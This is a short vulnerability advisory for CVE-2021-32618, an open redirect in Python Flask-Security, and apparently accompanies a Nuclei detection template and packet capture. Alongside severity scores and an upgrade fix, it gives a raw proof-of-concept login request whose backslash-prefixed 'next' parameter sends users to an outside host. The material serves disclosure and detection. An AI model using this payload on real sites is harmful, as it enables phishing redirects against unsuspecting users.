| Title | Python Flask-Security - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | An attacker can craft a malicious URL that redirects users to a malicious website, leading to potential phishing attacks or the exploitation of other vulnerabilities. |
| Remediation | Upgrade to the latest version of Python Flask-Security library to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.17163 |
| CVE ID | CVE-2021-32618 |
| CWE ID | CWE-601 |
| Tags | cve2021 cve redirect flask flask-security_project vuln |
Python Flask-Security contains an open redirect vulnerability. Existing code validates that the URL specified in the next parameter is either relative or has the same network location as the requesting URL. Certain browsers accept and fill in the blanks of possibly incomplete or malformed URLs. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /login?next=\\\interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32618.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-32618.pcap
N/AN/A